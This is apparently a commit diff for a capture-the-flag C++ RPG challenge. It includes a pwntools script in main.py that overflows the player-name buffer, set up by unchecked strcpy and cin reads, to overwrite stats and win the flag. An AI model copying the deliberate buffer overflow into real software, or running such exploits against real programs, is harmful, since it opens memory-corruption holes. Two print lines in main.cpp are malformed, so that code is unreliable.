ソースを参照

final version

master
myitinos 5年前
コミット
c92069ac01
7個のファイルの変更100行の追加27行の削除
  1. +2
    -1
      lib/BattleInterface.cpp
  2. +48
    -5
      lib/Character.cpp
  3. +10
    -7
      lib/Character.hpp
  4. +9
    -6
      lib/UserInterface.cpp
  5. バイナリ
      main
  6. +13
    -8
      main.cpp
  7. +18
    -0
      main.py

+ 2
- 1
lib/BattleInterface.cpp ファイルの表示

@ -61,6 +61,7 @@ void BattleInterface::start()
{
std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n";
}
std::cout << std::flush;
choiceInt = UserInterface::getNumber(
"What are you gonna cast this turn?\n>", 0,
@ -82,7 +83,7 @@ void BattleInterface::start()
UserInterface::print(buff);
}
choiceInt = (random() % player2->getLevel());
choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size()));
if (player2->canCastSpell(&Spell::Book.at(choiceInt)))
{
player2->castSpell(&Spell::Book.at(choiceInt), player1);

+ 48
- 5
lib/Character.cpp ファイルの表示

@ -1,8 +1,36 @@
#include "Character.hpp"
#include <cstring>
const int Character::maxLevel = 0xffff;
const int Character::maxExperience = 0x0fffffff;
Character::Character()
{
this->level = 1;
this->experience = 0;
this->maxHP = 10;
this->curHP = maxHP;
this->maxMP = 5;
this->curMP = maxMP;
this->atk = 1;
this->def = 1;
memset(this->name, 0, 16);
}
Character::Character(char *n) : Character::Character()
{
strcpy(this->name, n);
this->name[15] = 0;
}
Character::Character(const char *n) : Character::Character()
{
strcpy(this->name, n);
this->name[15] = 0;
}
Character::Character(char *n, int l, int e, int h, int m, int a, int d)
{
strcpy(this->name, n);
this->name[15] = 0;
this->level = l;
this->experience = e;
this->maxHP = h;
@ -11,12 +39,12 @@ Character::Character(char *n, int l, int e, int h, int m, int a, int d)
this->curMP = maxMP;
this->atk = a;
this->def = d;
strcpy(this->name, n);
this->name[15] = 0;
}
Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
{
strcpy(this->name, n);
this->name[15] = 0;
this->level = l;
this->experience = e;
this->maxHP = h;
@ -25,7 +53,6 @@ Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
this->curMP = maxMP;
this->atk = a;
this->def = d;
strcpy(this->name, n);
}
char *Character::getName()
@ -35,11 +62,19 @@ char *Character::getName()
int Character::getLevel()
{
if (this->level > Character::maxLevel)
{
exit(-1);
}
return this->level;
}
int Character::getExperience()
{
if (this->experience > Character::maxExperience)
{
exit(-1);
}
return this->experience;
}
@ -50,6 +85,10 @@ int Character::getMaxHP()
int Character::getCurHP()
{
if (this->curHP > this->maxHP)
{
exit(-1);
}
return this->curHP;
}
@ -60,6 +99,10 @@ int Character::getMaxMP()
int Character::getCurMP()
{
if (this->curMP > this->maxMP)
{
exit(-1);
}
return this->curMP;
}
@ -132,9 +175,9 @@ bool Character::readytoLevelUp()
void Character::increaseExperience(int n)
{
this->experience += n;
if (this->experience > maxEperience)
if (this->experience > maxExperience)
{
this->experience = maxEperience;
this->experience = maxExperience;
}
while (this->readytoLevelUp())
{

+ 10
- 7
lib/Character.hpp ファイルの表示

@ -8,18 +8,18 @@
class Character
{
protected:
static const int maxLevel = 100;
static const int maxEperience = 999999999;
static const int maxLevel;
static const int maxExperience;
char name[16];
int level;
int experience;
int maxHP;
int curHP;
int maxMP;
int curMP;
int level;
int atk;
int def;
int curHP;
int curMP;
int maxHP;
int maxMP;
void restoreHP(int);
void restoreMP(int);
@ -27,6 +27,9 @@ protected:
void reduceMP(int);
public:
Character();
Character(char *name);
Character(const char *name);
Character(char *name, int level, int exp, int hp, int mp, int atk, int def);
Character(const char *name, int level, int exp, int hp, int mp, int atk, int def);

+ 9
- 6
lib/UserInterface.cpp ファイルの表示

@ -1,9 +1,9 @@
#include "UserInterface.hpp"
const int UserInterface::interval = 0; // in ms
const int UserInterface::interval = 0; // in ms
const int UserInterface::miniInterval = 0; // in ms
const int UserInterface::maxDay = 28;
const int UserInterface::maxMonth = 4;
const int UserInterface::maxMonth = 12;
const int UserInterface::maxYear = 100;
int UserInterface::day = 1;
@ -76,17 +76,20 @@ Character *UserInterface::characterCreation()
{
char buffer[128] = {0};
char choice = 0;
int i;
short b;
while (choice != 'y' && choice != 'Y')
{
std::cout << "Who should we call you?\n"
<< ">" << std::flush;
std::cin >> buffer;
std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n"
<< ">";
std::cin >> choice;
}
return new Character(
buffer, 1, 0, 10, 10, 5, 5);
return new Character(buffer);
}
void UserInterface::epilogue()
@ -193,15 +196,15 @@ void UserInterface::nextDay()
{
if (UserInterface::day++ >= UserInterface::maxDay)
{
day = 1;
if (UserInterface::month++ >= UserInterface::maxMonth)
{
month = 1;
if (UserInterface::year++ >= UserInterface::maxYear)
{
UserInterface::gameOver = true;
}
month = 1;
}
day = 1;
}
}

バイナリ
main ファイルの表示


+ 13
- 8
main.cpp ファイルの表示

@ -1,5 +1,6 @@
#include <iostream>
#include <fstream>
#include <thread>
#include <chrono>
#include <random>
@ -13,7 +14,11 @@
std::string loadFlag()
{
return "";
std::string flagString;
std::ifstream flagFile("flag.txt");
flagFile >> flagString;
flagFile.close();
return flagString;
}
int main()
@ -32,7 +37,7 @@ int main()
UserInterface::welcomeMessage();
UserInterface::epilogue();
player = UserInterface::characterCreation();
archMage = new Character("Arch-Mage", 100, 0, 100000, 100000, 1, 1);
archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1);
enemies = {
new Character("Abby", 1, 1, 10, 5, 1, 1),
new Character("John", 2, 3, 20, 10, 1, 1),
@ -73,7 +78,7 @@ int main()
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size());
UserInterface::print("You are going to spar with:\n");
UserInterface::characterInfo(enemies.at(choiceInt));
UserInterface::print("Are you sure? (y/N)");
UserInterface::print("Are you sure? (y/N)e">\n>");
std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y')
{
@ -102,7 +107,7 @@ int main()
break;
case 4:
UserInterface::print("You are going to challenge the Arch-Mage...\n");
UserInterface::print("Are you sure? (y/N)");
UserInterface::print("Are you sure? (y/N)e">\n>");
std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y')
{
@ -116,13 +121,13 @@ int main()
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n");
UserInterface::print("Turns out the content is just some meaningless word...\n");
UserInterface::print("Here is the content:\n");
UserInterface::print(flag);
UserInterface::print(flag + "\n");
}
else
{
UserInterface::print("You lose, but you still get some experience...\n");
player->revive();
player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2);
UserInterface::print("You lose...\n");
UserInterface::print("Sadly his spell was to powerful,\n");
UserInterface::print("You got killed by the arch-mage...\n");
}
}
else

+ 18
- 0
main.py ファイルの表示

@ -0,0 +1,18 @@
from pwn import *
if __name__ == "__main__":
p = process("./main")
print p.recvuntil(">")
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
print p.recvuntil(">")
p.sendline("y")
print p.recvuntil(">")
p.sendline("2")
print p.recvuntil(">")
p.sendline("4")
print p.recvuntil(">")
p.sendline("y")
for i in xrange(99):
print p.recvuntil(">")
p.sendline("9")
p.interactive()

読み込み中…
キャンセル
保存